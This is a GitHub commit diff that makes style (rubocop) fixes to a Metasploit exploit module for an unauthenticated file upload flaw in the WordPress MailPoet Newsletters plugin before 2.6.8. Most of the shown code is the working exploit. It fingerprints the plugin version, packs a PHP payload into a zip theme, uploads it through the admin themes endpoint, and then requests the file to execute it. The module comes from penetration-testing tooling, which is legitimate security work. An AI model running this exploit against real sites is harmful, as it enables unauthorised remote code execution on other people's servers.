Skip to content

Commit c6e129c

Browse files
committed
Fix rubocop warnings
1 parent 942112d commit c6e129c

File tree

1 file changed

+18
-19
lines changed

1 file changed

+18
-19
lines changed

modules/exploits/unix/webapp/wp_wysija_newsletters_upload.rb

Lines changed: 18 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,5 @@
1+
# encoding: UTF-8
2+
13
##
24
# This module requires Metasploit: http//metasploit.com/download
35
# Current source: https://github.com/rapid7/metasploit-framework
@@ -12,7 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote
1214
include Msf::Exploit::FileDropper
1315

1416
def initialize(info = {})
15-
super(update_info(info,
17+
super(update_info(
18+
info,
1619
'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload',
1720
'Description' => %q{
1821
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
@@ -34,14 +37,14 @@ def initialize(info = {})
3437
'License' => MSF_LICENSE,
3538
'References' =>
3639
[
37-
[ 'URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ],
38-
[ 'URL', 'http://www.mailpoet.com/security-update-part-2/'],
39-
[ 'URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
40+
['URL', 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html'],
41+
['URL', 'http://www.mailpoet.com/security-update-part-2/'],
42+
['URL', 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php']
4043
],
4144
'Privileged' => false,
4245
'Platform' => ['php'],
4346
'Arch' => ARCH_PHP,
44-
'Targets' => [ ['wysija-newsletters < 2.6.8', {}] ],
47+
'Targets' => [['wysija-newsletters < 2.6.8', {}]],
4548
'DefaultTarget' => 0,
4649
'DisclosureDate' => 'Jul 1 2014'))
4750
end
@@ -58,33 +61,29 @@ def create_zip_file(theme_name, payload_name)
5861
}
5962

6063
zip_file = Rex::Zip::Archive.new
61-
content.each_pair do |name, content|
62-
zip_file.add_file(name, content)
64+
content.each_pair do |name, con|
65+
zip_file.add_file(name, con)
6366
end
6467

6568
zip_file.pack
6669
end
6770

6871
def check
6972
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
70-
res = send_request_cgi({
73+
res = send_request_cgi(
7174
'uri' => readme_url,
7275
'method' => 'GET'
73-
})
76+
)
7477
# no readme.txt present
75-
if res.nil? || res.code != 200
76-
return Msf::Exploit::CheckCode::Unknown
77-
end
78+
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
7879

7980
# try to extract version from readme
8081
# Example line:
8182
# Stable tag: 2.6.6
8283
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
8384

8485
# readme present, but no version number
85-
if version.nil?
86-
return Msf::Exploit::CheckCode::Detected
87-
end
86+
return Msf::Exploit::CheckCode::Detected if version.nil?
8887

8988
print_status("#{peer} - Found version #{version} of the plugin")
9089

@@ -114,13 +113,13 @@ def exploit
114113
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
115114

116115
print_status("#{peer} - Uploading payload to #{payload_uri}")
117-
res = send_request_cgi({
116+
res = send_request_cgi(
118117
'method' => 'POST',
119118
'uri' => uri,
120119
'ctype' => "multipart/form-data; boundary=#{data.bound}",
121120
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
122121
'data' => post_data
123-
})
122+
)
124123

125124
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
126125
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
@@ -135,9 +134,9 @@ def exploit
135134
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
136135

137136
print_status("#{peer} - Executing payload #{payload_uri}")
138-
res = send_request_cgi({
137+
send_request_cgi(
139138
'uri' => payload_uri,
140139
'method' => 'GET'
141-
})
140+
)
142141
end
143142
end

0 commit comments

Comments
 (0)